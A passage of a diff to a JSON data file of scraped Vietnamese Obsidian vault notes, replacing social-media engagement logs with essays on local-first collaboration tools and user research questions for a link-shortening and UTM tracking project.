"Ngày cập nhật": "2023-11-11T08:28:00.000Z", + "id": "Q1" }, { - "Tiêu đề": "Discord QC", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Quả Cầu/Discord QC/Discord QC", + "Tiêu đề": "Từ việc lưu dữ liệu tại chỗ", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/Truyền thông/Từ việc lưu dữ liệu tại chỗ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Phục vụ cho thành quả:\n```dataview\nList \nFrom #file/thành-quả \nwhere contains(file.outlinks,[[]]) \n```\nhttps://github.com/QuaCau-TheSphere/Nhap-mon-Obsidian-va-Git-cho-quan-ly-du-an/graphs/traffic\n\n# [2023-02-09 16:10](https://discord.com/channels/898550123007709204/898550123007709209/1073168252022304838) \n\n> [!NOTE]- theo mọi người thì trong những mục tiêu này thì mình nên tập trung vào mục tiêu nào trước? \n> • 100 người xây dựng vault của họ từ vault này \n> • 10 người đóng góp xây vault \n> • 50% người xây vault kết nối nhu cầu của mình tới vault chung\n\n| Trước khi đăng | | 52 | 12 | 62 | 18 |\n| -------------- | --- | --- | --- | --- | --- |\n| Sau 24 tiếng | | | | | |\n# Cũ\n## [2023-02-06 22:07](https://discord.com/channels/898550123007709204/898550123007709209/1072171583378051072) \n### GitHub\n| Trước khi đăng | 21:51 | 39 | 10 | 55 | 15 |\n| -------------- | ---------------- | --- | --- | --- | --- |\n| Sau 14 tiếng | 11:48 | 51 | 11 | 56 | 16 |\n| Sau 24 tiếng | 23:07 | 51 | 11 | 58 | 17 |\n| Sau 66 tiếng | 2023-02-09 15:57 | 52 | 12 | 62 | 18 |\n| | | | | | |\n### Discord\n\n\n## [2023-02-03 18:20](https://discord.com/channels/898550123007709204/898550123007709209/1070665110974107728) \n### GitHub\nSau khi đăng:: 00:25, 26, 4, 1, 0\n\n### Discord\n-\n", + "Toàn bộ nội dung": "(English below) \n\n⬛ Vấn đề: Sự hợp tác giữa các nhóm dự án chưa đạt được hiệu quả tối ưu\nViệc tìm kiếm người hợp tác cho các dự án mới có ý tưởng đột phá có vẻ khó. Trong 5 năm mình tham gia vào các mạng lưới, cộng đồng phi lợi nhuận, mình cảm thấy mặc dù đã có rất rất nhiều tổ chức muốn thúc đẩy một hệ sinh thái giữa các dự án, nhưng lại chưa cảm thấy sự hiệu quả đạt đến mức tối ưu, mặc dù mình đánh giá rất cao nỗ lực và sự chuyên nghiệp của họ. Mình phải thẳng thắn nói rằng mình thất vọng rất nhiều sau các sự kiện kết nối. Mọi người có biết đến nhau, nhưng sau buổi hôm đó cũng chỉ dừng lại ở đó, không đi xa hơn được. Mình nghĩ rằng nguyên nhân quan trọng nhất là các bên **quá nhiều việc**. Mọi người không thể đi đủ sâu để tìm hiểu về nhau. Vì để có thể đi sâu thì phải tốn rất rất nhiều thời gian, mà thường tổ chức phải phát triển đủ lớn để có một người chuyên về việc kết nối, chứ công việc thì rất rất nhiều. Nếu như các tổ chức kết nối cộng đồng chủ động phân loại và tổ chức các buổi gặp gỡ cho các dự án quy mô nhỏ tương tự nhau thì rất tốt, nhưng mình không thấy được điều đó.\n\n**Để một hệ sinh thái hoạt động thực sự hiệu quả thì lượng năng lượng dành ra để nắm bắt tín hiệu của môi trường phải giảm tới mức gần như bằng 0**. Bạn không cần phải hỏi mà vẫn biết nhu cầu của những thành viên xung quanh, và họ không cần phải hỏi cũng biết bạn đang cần gì. Mặc dù chúng ta luôn khuyến khích đặt câu hỏi, nhưng một hệ sinh thái không hoạt động bằng cách đặt câu hỏi, mà bằng cách không cần hỏi cũng biết câu trả lời là gì. Và các công cụ quản lý dự án hiện nay không có chức năng cung cấp thông tin của nhóm cho những nhóm khác. Chỉ khi nào nhu cầu của các bên liên quan hiện ra ngay trong kho dữ liệu của nhóm mà không cần phải hỏi họ hay thậm chí là nhập liệu, thì lúc đó chúng ta mới có thể bắt đầu nói về một hệ sinh thái mà những thành viên mới – vốn rất thiếu nhân lực – vẫn có thể hưởng lợi.\n\n⬛ Hướng giải quyết: Tạo thói quen sử dụng dữ liệu ở local cho mọi người\nTrong những phần mềm quản lý công việc trên thị trường hiện nay, mình thấy có duy nhất Obsidian (và Git) là có thể đáp ứng nhu cầu đó. Triết lý của Obsidian là:\n\n• Dữ liệu nằm trên máy của người dùng và ở định dạng đơn giản\n• Obsidian xem liên kết là công dân hạng nhất|Liên kết là công dân hạng nhất\n• Obsidian cực kỳ dễ mở rộng tính năng|Cực kỳ dễ mở rộng tính năng\n\nCác triết lý này mở ra một loạt những tính năng một dự án phát triển cộng đồng muốn có. Ví dụ như:\n• Thành viên cộng đồng có thể đóng góp những **hiểu biết sâu sắc, nhu cầu và các dữ liệu khác một cách thụ động** vào kho dữ liệu chung. Họ không cần quan tâm (quá nhiều) vào kho dữ liệu chung mà vẫn có thể làm nó phong phú hơn, chỉ bằng việc tập trung vào việc tự quản lý dự án của mình. Sự đóng góp của họ chỉ là sản phẩm phụ của việc họ tập trung vào mình.\n• Đồ thị giúp thấy được bức tranh tổng thể: điều gì nhiều người quan tâm nhất? Ai có cùng nhu cầu với ai? Để ý rằng sự chuyên gia (expertise) đến từ việc nhìn ra mẫu hình, trực giác là việc nhìn ra mẫu hình không hơn không kém, và đồ thị giúp ta thấy được mẫu hình\n• Hoàn toàn miễn phí, không có chức năng nào phải trả tiền hay tính theo đầu người. Phù hợp khi bạn cần những chức năng nâng cao hoặc khi đội ngũ mở rộng mà không có nhiều tiền\n• Với plugin, tính năng của nó có thể mở rộng theo nhu cầu và mức độ thành thạo của người dùng, khiến cho nó trở thành một giàn giáo nhận thức giúp giảm sự quá tải của bạn, khiến cho nó trở thành một môi trường tư duy để tăng cường nhận thức (augmenting cognition)\n• Có thể dùng kết hợp Obsidian với các giải pháp xử lý dữ liệu khác, tránh tình trạng phân mảnh dữ liệu do lưu dữ liệu ở nhiều công cụ khác nhau\n\nNăm 2015, để giải quyết những thách thức phát triển lớn mà thế giới phải đối mặt, Liên Hợp Quốc đã đề ra **17 Mục tiêu Phát triển Bền vững (SDG)**. Đó là động lực để các quốc gia hướng tới. Mục tiêu cuối cùng trong 17 mục tiêu đó chính là về thúc đẩy sự hợp tác. Ở Việt Nam, mục tiêu số 17 này được chia thành [17 mục tiêu nhỏ hơn](https://data.vietnam.opendevelopmentmekong.net/vi/dataset/bao-cao-t-ng-h-p). Ta hãy xem một mục tiêu trong số chúng:\n\n> **Mục tiêu 17.4:** Tăng cường quan hệ đối tác toàn cầu cho phát triển bền vững, kết hợp với quan hệ đối tác nhiều bên nhằm huy động và chia sẻ kiến thức, kinh nghiệm, công nghệ và tài chính để hỗ trợ đạt được các mục tiêu phát triển bền vững ở Việt Nam\n\nViệc phổ cập những công cụ như thế này sẽ giúp đáp ứng mục tiêu 17.4 này.\n\n⬛ Tầm nhìn: Xây dựng nền kinh tế không dùng tiền\nNếu mô hình này thành công, thì ta sẽ xây dựng một mạng kết nối nhu cầu, nơi mà mọi người đáp ứng nhu cầu lẫn nhau. Họ có thể làm được như vậy vì tất cả mọi thành viên đều biết nhu cầu nào đang có nhiều người có nhất, ai đang có cùng nhu cầu với ai, v.v. Các nhu cầu của họ sẽ được thoả mãn bằng việc trao đổi nhu cầu cho nhau, hoặc cùng hợp tác để tạo giải pháp chung. Khi mạng lưới này lớn hơn nữa, thì nó sẽ hoạt động như một nền kinh tế. Bởi vì các nhu cầu trong đây được đáp ứng mà không cần dùng đến tiền làm trung gian, nên nó là một nền kinh tế không dùng tiền. Nó sẽ là sự kết hợp giữa nền kinh tế nền tảng (platform economy) và nền kinh tế quà tặng (gift economy). Nó cũng có liên hệ rất mật thiết tới nền kinh tế chăm sóc (care economy).\n\nÝ tưởng nền kinh tế không dùng tiền không phải là một khái niệm mới. Một ví dụ điển hình là Hệ thống Trao đổi Cộng đồng (Community Exchange System) (https://www.community-exchange.org) với hơn 1200 nhóm trao đổi ở 107 nước. Tuy nhiên chưa có ở Việt Nam. \n\nVấn đề hiện tại bây giờ chỉ là: có bao nhiêu nhóm dự án sẵn sàng muốn sử dụng Obsidian cho việc quản lý dự án của mình?\n\n⬛ Phụ lục: Thách thức: [[Có sự đánh đổi giữa sự tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác]]\nTrong ngành khoa học máy tính, việc hợp tác làm việc thời gian thực với dữ liệu được lưu ở local là một bài toán khó. Điều đó khiến cho chúng ta phải đánh đổi giữa sự tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác. **Việc trung tâm hoá việc lưu trữ dữ liệu trên máy chủ sẽ lấy đi autonomy và agency của người dùng cuối.** Xu thế hiện nay là các nhóm làm việc qua mạng ngày càng nhiều, đến nỗi khi được hỏi về app đa số mọi người sẽ chỉ nhắc đến những cloud app như Google Drive hay Notion. Nghĩa là chúng ta đã hy sinh quá nhiều sự tự chủ dữ liệu cho sự tiện lợi đến nỗi chúng ta không còn biết gì về một loạt các phần mềm khác mạnh mẽ hơn. Việc đánh mất sự tự chủ đó là lý do khiến cho chúng ta luôn cảm thấy mình mù công nghệ, và chấp nhận rằng mình sẽ chẳng hiểu gì về công nghệ cả. Đây chính là một sự bất lực học được. Người không học về lập trình thấy việc lập trình như làm phép thuật, trong khi lập trình viên biết lập trình chủ yếu là nhờ biết google. Bạn cũng biết google vậy, vậy tại sao vẫn thấy nó giống như làm phép thuật? Chúng tôi nghĩ một phần lớn là vì đã từ lâu bạn không còn cảm giác mình có sự tự chủ với dữ liệu của mình rồi. Khi bạn đã có lại được cảm giác đó, bạn sẽ thấy mình tự tin hơn về công nghệ.\n\n---\n\n⬛ English\n#⬛ The problem\nIt’s hard for new-founded independent projects to find collaborators. Although there are many organizations that want to promote an ecosystem between projects, the optimal outcomes (not saying the expected ones) isn't achieved. Especially if the idea is so novel. Since it takes a lot of time and cognitive wordload to have deep conversations, often the project has to grow big enough to have a staff specialized in networking. \n\nFinding collaborators for new-founded independent projects with groundbreaking ideas is difficult. In the 5 years I've been involved in non-profit networks and communities, I feel that although there are many organizations that want to promote an ecosystem between projects, the optimal effectiveness has not achieved yet, despite of my great appreciation for their effort and professionalism. I must frankly say that I am very disappointed after the networking events. Everyone knew each other, but after the events, everything just stopped there, nothing could go any further. I think the most important reason is that the participants are too busy. People can't go deep enough to get to know each other. Especially if the idea is so novel. Since it takes a lot of time and cognitive wordload to have deep conversations, often the project has to grow big enough to have a staff specialized in networking. If there are community connecting organizations actively categorize and organize meetings for similar new-founded projects, that's great, but I don't see that.\n\nFor an ecosystem to operate effectively, the amount of energy spent to capture the signals of the environment must be reduced to almost zero. You do not need to ask and still know the needs of the stakeholders, and they don't have to ask to know what you need. While we always encourage asking questions, an ecosystem does not work by asking questions, but by knowing what the answers are without asking. And current project management tools do not have the ability of providing team information to other teams. Until stakeholders' needs are stored right in the team's database without having to look for it then we can begin to talk about an ecosystem where new organizations and projects – who are very short of staff – can still benefit.\n\nIn the current market of task management and note-taking software, Obsidian seems to be a promising tool that can meet the need of collaboration in large-scale. The power of them lies in Obsidian's philosophies:\n• Local-first and plain text\n• Link as first-class citizen\n• Make it super extensible\n\nThese philosophies enables a vast of functionalities that a community development project would need. To name a few:\n• Community members can **passively contribute their insights, needs and other data** in a shared repository. They don't need to care (too much) about the shared database but can still enjoy the benefit from it, just by focusing on managing their own projects. Their contributions are just a by-product of their focus on themselves.\n• Via graphs,", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-02-23T06:36:00.000Z", - "id": "Pq" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-22T05:48:00.000Z", + "id": "Q2" }, { - "Tiêu đề": "Untitled", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Quả Cầu/Discord QC/Untitled", + "Tiêu đề": "Xây dựng hệ thống tri thức cộng đồng", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/Xây dựng hệ thống tri thức cộng đồng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# [[06-11]]\n20:21: đăng [[Lời mời xây dựng một startup]]. Số lượng thành viên: 128\n# [[09-11]]\n15:55: 2 người like [[Lời mời xây dựng một startup]]: uurin và pqn\nĐăng [[Các buổi đáp ứng nhu cầu học lập trình]]", + "Mô tả bài đăng": "Làm sao để một người có thể tìm đến tài nguyên tốt nhất cho nhu cầu của họ một cách nhanh nhất?", + "Toàn bộ nội dung": "IDE sẽ không chỉ là viết code mà còn là instruction, mental model, workflow, mindset, knowledge network/liên ngành, reverse engineer để có thể làm thế. 1 nền kinh tế mới, loại hết cò, thay thế các doanh nghiệp lớn, đưa mọi thứ về tay từng người và cộng đồng (có những thứ k cần làm 2 lần - quan điểm của tech, nghe kiểu có thể chất vấn theo cách k làm thì sao biết) nhưng đó sẽ là vde thay thế giáo dục (có những thứ k cần làm 2 lần/1 người/toàn nhân loại). Với digital education em có thể cho con người khả năng làm tất cả mọi thứ.\n\nXem thêm:: [[Làm sao để tìm được thứ cần tìm khi không biết từ khoá chính xác của nó|Làm sao để tìm được thứ cần tìm khi không biết từ khoá chính xác của nó?]]\nXem thêm:: [[Nền kinh tế tri thức.canvas|Nền kinh tế tri thức]]\n\n| Hình thức | Ví dụ | Giống | Khác |\n| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------- | ---------------------------------------------------------------- |\n| Infographic | | | |\n| Đồ thị, lưu đồ | Nhu cầu công việc và nhu cầu công nghệ, OVA, Kialo | [[Đồ thị giúp ta thấy được mẫu hình\\|Giúp thấy được mẫu hình]] | [[Đồ thị không phụ thuộc vào hướng. Bản đồ phụ thuộc vào hướng]] |\n| Hướng dẫn nhập môn, bài giới thiệu, nghiên cứu tổng quan | Obsidian Hub, giáo trình đại học, bot hướng dẫn cho người mới | | |\n| Danh sách | [Project-Awesome.org](https://project-awesome.org/), [List of lists of lists](https://en.wikipedia.org/wiki/List_of_lists_of_lists \"List of lists of lists - Wikipedia\") | | |\n| Hướng dẫn sử dụng trong phần mềm | Nhắc code, type | | |\n| Bầu chọn theo tập thể, đóng góp cộng đồng | Bình chọn trên reddit, truyền miệng, trang tin tức, thuật toán PageRank | | |\n| Tiếp thị, Sau một thời gian được chia sẻ thì cũng hết | | | |\n| Vét cạn từ khoá cho máy tìm kiếm | Tìm trên Obsidian, SEO | | |\n| Điều hướng | Trao đổi với con người, chat bot, trò chơi phiêu lưu | | |\n| Hệ thống quản lý nội dung | MediaWiki | | |\n| Môi trường tạo khả năng ([enabling environment](https://notes.andymatuschak.org/z492hGrHvRvJiEY9UfB4Mby?stackedNotes=z8ZWYXFwXV38qiCgRx7zf2ySy9WCxWvcizNVr&stackedNotes=z2qBbdZidZNjbpdggRbmgeUeVf2H7aCevSYvE&stackedNotes=z8DyCwRiC8HT89mMvtBjwcGVs5ucHPHcrScch)) | [The Humane Representation of Thought](https://vimeo.com/115154289 \"The Humane Representation of Thought on Vimeo\") | | |\n| Không gian vector từ | Phần giới thiệu cái mình có thể quan tâm ở YouTube, Netflix, Spotify | | |\n\nNếu là vấn đề liên kết giữa các khái niệm thì khác gì Tana, Neo4j, Xanadu? [A Short History of Bi-Directional Links](https://maggieappleton.com/bidirectionals) \nCâu hỏi:\n- Vấn đề nào thì nên dành thời gian để làm? Vấn đề nào có thể bỏ qua?\n- Có dễ dàng làm với số lượng lớn không?\n- Tốt nhất ở đây là tốt nhất về mặt lý thuyết hay là về sự khả thi?\n- Không phải lúc nào con người cũng dùng thứ tốt nhất. Nếu có cái không tốt bằng nhưng tiện hơn thì họ sẽ dùng (VD: [[Excel là người bạn tuổi thơ tuyệt vời, nhưng là kẻ thù của tuổi dậy thì|Excel]], [[Tạo website|WordPress]] đều là những thứ tuyệt vời ban đầu, tệ về sau) \n\n## Điều gì khiến cho sản phẩm của mình không bị lạc hậu?\nVấn đề lạc hậu khó tránh, nhưng em không nghĩ làm việc với lịch sử là một việc sẽ có ngày lạc hậu, nếu có thì cùng lắm là cách mình làm chứ không hẳn là thứ mình tạo ra, tất nhiên trong quá trình đó em cũng cố nghĩ giải pháp tốt hơn. Em nghĩ vậy là bởi dù ở tương lai mọi thứ càng tân tiến hiện đại nhưng chừng nào họ còn chưa thể quay ngược về quá khứ, thì quan điểm trong quá khứ vẫn là thứ có giá trị hơn bởi nó có thể lưu giữ những context mà theo thời gian đã có thể mất đi và không có cách nào truy lại được chính xác\n\n## Điều gì khiến cho người cần tới sản phẩm của mình nhấ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-26T09:58:00.000Z", - "id": "Pr" + "Ngày tạo": "2024-03-17T14:05:00.000Z", + "Ngày cập nhật": "2024-08-20T09:28:00.000Z", + "id": "Q3" }, { - "Tiêu đề": "Facebook page QC", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Quả Cầu/Facebook page QC", + "Tiêu đề": "Giả thiết", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/4 Kế hoạch/Giả thiết", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "đối ⊷ thoại", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## [[Các buổi đáp ứng nhu cầu học lập trình]]\n[[09-11]] 15:38 https://www.facebook.com/quacau.sphere/posts/pfbid0ePQADgc8zmQH7FyVa2GjHtmaMF1Rv4h8MnwMiy3f7LgSn3YQf9tDtvUzCwwuYJmQl\n\n[[16-11]] 23:56: \n- Post impressions: 127\n- Post reach: 121\n- Engagement: 17\n- Reactions: 4\n- Comments: 0\n- Link clicks: 2\n- Shares: 0\n- Other clicks: 3\n\n[[21-03]] 20:41 7 react, 14 share\n\n## [[Bàn làm việc Google Calendar]]\n[[29-12]] 17:06 https://www.facebook.com/quacau.sphere/posts/pfbid02zVMWHfUYFZ7rv5gnLnx4TJfxmi273DBZ9XrXRtKxgoFKt9wN9ptm6CgYdnS3TZnyl\n22:46 46 46 5\n[[31-12]] 15:08 104 104 11\n\n## [[Tự động tạo liên kết UTM hoàn chỉnh chỉ bằng những thông tin tối thiểu (tên bài, nơi đăng)]]\n[[20-02]] 02:33 https://www.facebook.com/quacau.sphere/posts/pfbid028r4PfZ2SiamuaSVT5CMMzgfjQfkVLnjkTrNU7dfLNoWiNNW1o1ceBV8bv1DS5gH2l\n[[21-02]] 01:17 2 react\n[[23-02]] 19:32 248 impression, 33 engagement\n[[24-02]] 13:09 319 impression, 36 engagement\n\n## [[đối ⊷ thoại]]\n[[23-05]] 16:08 [dạng link](https://www.facebook.com/quacau.sphere/posts/pfbid05EsAmUkU2LwiYksgXhE55NnZdZ1Xs2NoHxUhg4hzt6yTZwDa4uco397NQKQ7KCRKl) \n16:30 3 view\n19:01 3 view. Share lại trên [[Profile QC]]\nhttps://www.facebook.com/qua.cau.the.sphere/posts/pfbid0K1dS32XBxSdz7po9zx4YgqFhWvei1Q4cBCEfAmBHHbnBKDNfKhtCSi151iWrBNVZl\n\n[[24-05]] 18:00 27 view, 27 impression, 1 like\ndạng ảnh https://www.facebook.com/quacau.sphere/posts/pfbid02KYRdxC6aAXdkDJLB1L4c2PUM4mUsSs4Lw9XbcymSheQ56dPZDbNVhDdDSEj1VsT2l\n23:00 23 view, 23 impression, 1 like\n\n[[08-06]] 20:52 đăng dạng ảnh trang chủ https://www.facebook.com/quacau.sphere/posts/pfbid0Y6Rsu6rQuBtPtwDj4xzonDkyh8Jrpbr8YrsJUvbTWwaw7MyEwW4jLEkjhAvkUAfjl\n21:10 1 like\n[[09-06]] 00:28 21 view, 21 impression, 1 like\n13:07 26 view, 26 impression, 1 like\n\n| | Reach | Impression | React |\n| --------------------------------- | ----- | ---------- | ----------------- |\n| Link sihouette | 90 | 96 | 2 (có 1 tự share) |\n| Ảnh sihouette | 46 | 46 | 1 |\n| Ảnh trang chủ | 26 | 26 | 1 |\n| Ảnh trang chủ , link dưới comment | | | |\n\n## [[Tạo website]]\n[[16-07]] 17:00 [Quả Cầu](https://www.facebook.com/quacau.sphere/posts/pfbid02tZzzoSvaY1rgPJCL1fj2rS9AKjGbQMmJ3JkPw8ZJ5MY42ekARQEaXJPXy86MEYXjl)\n[[18-07]] 10:45 link có 2 đoạn đầu\n\n| | Reach | Impression | React |\n| --------------------------------- | ----- | ---------- | ----- |\n| Link không có gì cả | 11 | 11 | |\n| Link có 2 đoạn đầu | 46 | 46 | 1 |\n| Ảnh trang chủ | 26 | 26 | 1 |\n| Ảnh trang chủ , link dưới comment | | | |", + "Toàn bộ nội dung": "Bài viết này giả định một số điều về người dùng:\n\n1. **Người dùng là quản lý hoặc thành viên của các tổ chức có nhiều dự án và hiện diện trên nhiều nền tảng:**\n - Bài viết đề cập đến việc quản lý nhiều kênh truyền thông và dự án, cho thấy người dùng có khả năng đang điều hành hoặc tham gia vào các tổ chức, cộng đồng có hoạt động đa dạng.\n\n2. **Người dùng cần phân tích và tối ưu hóa lưu lượng truy cập:**\n - Giả định người dùng cần các công cụ để theo dõi và phân loại nguồn truy cập nhằm cải thiện trải nghiệm của người dùng và hiệu quả hoạt động của tổ chức.\n\n3. **Người dùng gặp khó khăn với các công cụ hiện có:**\n - Bài viết chỉ ra các nhược điểm của các công cụ hiện có như Google Analytics và các dịch vụ rút gọn liên kết, cho thấy người dùng đã từng sử dụng các công cụ này nhưng không hài lòng với chúng.\n\n4. **Người dùng có nhu cầu sử dụng công cụ tự động hóa và rút gọn liên kết:**\n - Việc giới thiệu tính năng tự động tạo liên kết UTM và rút gọn liên kết cho thấy người dùng đang tìm kiếm các giải pháp để giảm bớt công việc thủ công và tăng cường hiệu quả.\n\n5. **Người dùng có sự hiện diện trên nhiều nền tảng truyền thông xã hội:**\n - Bài viết liệt kê các nền tảng như Facebook, LinkedIn, YouTube, Telegram, Zalo, Messenger, cho thấy người dùng có hoạt động trên nhiều nền tảng và cần công cụ để quản lý tất cả các kênh này.\n\n6. **Người dùng quan tâm đến mã nguồn mở và quyền tự trị dữ liệu:**\n - Việc nhấn mạnh rằng chương trình là phần mềm tự do và mã nguồn mở, cùng với khả năng tích hợp với các hệ thống hiện có, cho thấy người dùng quan tâm đến quyền tự do và kiểm soát dữ liệu.\n\n7. **Người dùng có thể là người Việt hoặc tổ chức Việt Nam:**\n - Bài viết được viết bằng tiếng Việt và nhấn mạnh rằng chương trình này giải quyết tốt các vấn đề liên quan đến ký tự tiếng Việt, cho thấy người dùng có thể là người Việt hoặc tổ chức hoạt động tại Việt Nam.\n\n8. **Người dùng có thể không phải là chuyên gia về công nghệ:**\n - Việc nhấn mạnh rằng chương trình dễ sử dụng và không yêu cầu đăng nhập, cùng với mục tiêu hỗ trợ người dùng cảm thấy lập trình không đáng sợ, cho thấy người dùng có thể không phải là chuyên gia về công nghệ và cần một giải pháp thân thiện và dễ tiếp cận.", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-08-20T13:53:00.000Z", - "id": "Ps" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-18T06:20:00.000Z", + "id": "Q4" }, { - "Tiêu đề": "LinkedIn", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Quả Cầu/LinkedIn", + "Tiêu đề": "Mục tiêu và câu hỏi nghiên cứu", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/4 Kế hoạch/Mục tiêu và câu hỏi nghiên cứu", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Ξ Kết quả truyền thông", + "Tên dự án": "đối ⊷ thoại", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Các buổi đáp ứng nhu cầu học lập trình]]", + "Toàn bộ nội dung": "[[Giả thiết về thái độ người dùng]]\n[[Giả thiết về giá trị của Trấn Kỳ]]\n\nKhi nghiên cứu về nhu cầu sử dụng chương trình rút gọn liên kết và thống kê lưu lượng truy cập cho các dự án, tổ chức hiện diện trên nhiều nền tảng, có thể xác định một số mục tiêu và câu hỏi nghiên cứu như sau:\n\n### Mục tiêu nghiên cứu\n1. **Xác định nhu cầu**: Tìm hiểu về mức độ cần thiết và lợi ích của việc sử dụng chương trình rút gọn liên kết và thống kê lưu lượng truy cập trong các dự án và tổ chức.\n2. **Đánh giá hiệu quả**: Đánh giá hiệu quả của các công cụ rút gọn liên kết trong việc cải thiện quản lý và phân tích lưu lượng truy cập.\n3. **So sánh công cụ**: So sánh các công cụ rút gọn liên kết phổ biến để xác định công cụ nào phù hợp nhất với nhu cầu của các dự án và tổ chức.\n4. **Đề xuất cải tiến**: Đề xuất các cải tiến cho các công cụ hiện có dựa trên nhu cầu và phản hồi của người dùng.\n\n### Câu hỏi nghiên cứu\n\n1. **Nhu cầu và sử dụng**\n - Các dự án và tổ chức hiện nay có nhu cầu sử dụng chương trình rút gọn liên kết và thống kê lưu lượng truy cập không?\n - Những tính năng nào của các công cụ rút gọn liên kết là quan trọng nhất đối với các tổ chức?\n\n2. **Hiệu quả và lợi ích**\n - Việc sử dụng các công cụ rút gọn liên kết có giúp cải thiện việc theo dõi và phân tích lưu lượng truy cập không?\n - Các công cụ này có giúp tối ưu hóa chiến lược marketing và tăng hiệu quả quảng cáo không?\n\n3. **So sánh và đánh giá công cụ**\n - Những công cụ rút gọn liên kết nào phổ biến và được sử dụng nhiều nhất?\n - Các công cụ này có điểm mạnh và điểm yếu gì?\n\n4. **Phản hồi và cải tiến**\n - Người dùng có những phản hồi và đề xuất gì về các công cụ rút gọn liên kết hiện nay?\n - Những tính năng nào cần được cải thiện hoặc bổ sung để đáp ứng tốt hơn nhu cầu của người dùng?\n\nCác mục tiêu và câu hỏi này sẽ giúp định hướng nghiên cứu, thu thập dữ liệu cần thiết và đưa ra những kết luận và đề xuất phù hợp để cải thiện hiệu quả sử dụng công cụ rút gọn liên kết và thống kê lưu lượng truy cập cho các dự án và tổ chức.\n\n\n# Thông tin cơ bản\n- Giới thiệu về bản thân, công việc\n\n# Nhu cầu công việc\n- Họ làm công việc cụ thể nào trong marketing?\n- Họ có thường làm digital không?\n- Có hay \n\n# Việc ghi chép và phân loại\n- Họ thường ghi chép những gì?\n- Họ thường phân loại những gì?\n- Việc phân loại giúp ích được những gì cho họ?\n- Thứ họ có được sau khi phân loại xong giúp ích được những gì cho họ?\n- Họ phân loại như thế nào?\n - Tại sao lại dùng công cụ này mà không phải là những công cụ khác? \n- Trong tháng vừa qua họ đã phân loại dữ liệu bao nhiêu lần?\n- Mỗi lần phân loại họ tốn bao nhiêu thời gian?\n- Bao lâu họ phân loại một lần?\n- Sau khi phân loại xong thì họ làm những gì tiếp theo?\n- Nếu không phải tốn thời gian cho việc phân loại thì họ sẽ làm gì?\n- Họ cảm thấy như thế nào vào lúc phải phân loại?\n- Có lúc nào họ không phân loại không? Tại sao?\n\n# Giải pháp phân loại tự động\n- Họ có bao giờ nghĩ về giải pháp giúp tự động phân loại dữ liệu không?\n - Lúc nghĩ về nó họ đã cảm thấy thế nào? \n- Họ đã biết tới những giải pháp nào?\n - Nếu là AI thì sao?\n- Họ nghĩ rằng giải pháp đáp ứng được nhu cầu của mình nên là như thế nào?\n - Việc đáp ứng được các nhu cầu đó sẽ khiến họ khác đi như thế nào?\n- Họ sẽ làm những gì để có được nó?\n - Tức là họ thấy rằng những gì họ làm để có được nó tương xứng với những gì mà nó đã cho họ?\n\n# Hành trình người dùng ở Trấn Kỳ\n- Họ đã biết tới Trấn Kỳ thế nào?\n- Họ đã biết được gì về Trấn Kỳ rồi?\n- Cảm nhận của họ khi đọc là gì?\n- Điều gì khiến họ like, comment, share, hoặc không làm điều đó?\n- Điều gì khiến họ chưa tìm hiểu về nó?\n- Họ mong chờ gì ở Trấn Kỳ?\n\n# Quan sát việc sử dụng Trấn Kỳ\n- Điều gì ở Trấn Kỳ gây ấn tượng với họ?\n- Họ thấy chân trang thế nào?\n- Link nào ở chân trang làm họ quan tâm?\n- Họ thấy các bài viết như thế nào?\n- Có điều gì ở Trấn Kỳ làm họ muốn kể cho người khác không? Nếu không thì vì sao?\n- Có suy nghĩ nào của họ được thay đổi sau khi dùng thử Trấn Kỳ không? Nếu không thì vì sao?\n\n# Trò chuyện thêm\n- Mức độ sẵn sàng chia sẻ ghi chú này\n - Có muốn đọc bản ghi chú này không?\n- Sở thích \n- Lý do chọn công việc hiện tại\n- Nhu cầu, ưu tiên, dự định trong cuộc sống\n\n[[Mục tiêu và câu hỏi nghiên cứu người đọc các bài về Trấn Kỳ]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-26T09:58:00.000Z", - "id": 